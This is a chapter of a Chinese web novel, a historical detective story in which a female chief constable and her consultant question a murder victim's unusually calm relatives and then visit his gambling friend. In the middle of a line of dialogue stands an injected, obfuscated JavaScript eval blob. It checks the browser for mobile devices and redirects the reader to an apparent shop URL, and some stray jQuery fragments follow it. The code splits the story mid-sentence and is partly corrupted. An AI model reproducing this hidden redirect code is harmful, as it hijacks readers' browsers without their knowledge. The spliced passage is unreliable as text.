6. 四颗头颅
咐李班头去请人,“只说旧档信息不全,需补些细节,别的一律不用提。”

    先到的是李贵的孀妇和儿子。

    “李家娘子,”陆学盈开口,“近日府衙重整卷宗……”

    “大人,您要问什么就直说吧。”李娘子冷冷扫了一眼陆学盈,打断了她的话。

    “既如此,”陆学盈收起赘言,“关于李贵一案,请李娘子回想,你夫君生前好赌,可曾与人结仇?”

    “不曾。”李娘子斩钉截铁地答道,“赌债皆每月结清,从未拖欠分毫。”

    “除了赌债呢?”陆学盈凝起眉头,“可有其他线索?”

    “没有,他除了赌,别的什么都不管。”李娘子摇头。

    陆学盈见李娘子面色平静,眼神中毫无波澜,心中生疑,道:“李娘子,府衙重整档案,也是为查明真相,还你家一个公道,还请李娘子坦诚相告为好。”

    “妾身所言,句句属实。”李娘子抬起头直视陆学盈,眼神毫无闪躲。

    “你呢?可知父亲有没有仇家?”辛六郎忽然开口,对着坐在一旁的少年问道。

    那少年被他这么一问,愣了愣,随即垂下眼睛:“不知道。”

    辛六郎细细打量着眼前的少年,不再说话。

    “如果没有其他的问题,妾身便带着小儿告辞了。”李娘子站立起身,“大人尽管查,只是我们毫不知情,帮不上大人了。”

    后续几家的审问,皆如这般,陆学盈的眉头也越来越紧。

    “这算是什么情况?”她用笔杆戳了戳自己的眉心,“一问三不知的亲眷,我还是第头回见。”

    “陆大人不觉得奇怪吗?”辛六郎一只手托腮,一手摆弄着案上烛台,“家中有人惨死,纵是旧案重提,也不该个个都如此冷静。”

    “这还用你说。”陆学盈扫他一眼,“方才那些人,不安者有之,烦躁者有之,独独对案子没有一丝探究和疑惑。”

    “

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17029529|194522||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    仿佛死的不是家人,”辛六郎缓缓道,“而是陌生人。”

    “不,不只是陌生人。”陆学盈一把握住辛六郎的扇子。

    “是仇人。”

    她的眼睛闪着烛火摇摇欲坠的影子。

    ***

    “是这里了。”辛六郎指着一扇木门,“李贵生前的赌友,名叫庞立,做布匹生意。前几日我来,他夫人说他出城去进货了,今天才回。”

    说罢,他叩门,转头笑道:“陆大人,请吧。”

    “有人吗?”陆学盈喊道,“衙门办案,开门!”

    门缓缓打开,一个穿着粗布衣裳的中年男子探出头来:“二位是?”

    “承州府总捕头,陆学盈。”她轻轻抬起下巴,把辛六郎往前一拽,“这位是衙门刑案顾问辛六郎。你是庞立?”

    “小人正是。”他答道,“大人要查的是什么案子?”

    “还记得李贵么?”陆学盈问,“衙门近日修葺卷宗库,重整旧档,发现他的案子少了些详细的信息,特意找你问问清楚。”

    “小人多年前的确常与李贵同去赌坊。”庞立点点头,“不知大人具体想问什么?”

    “我

本章未完,请点击下一页继续阅读>>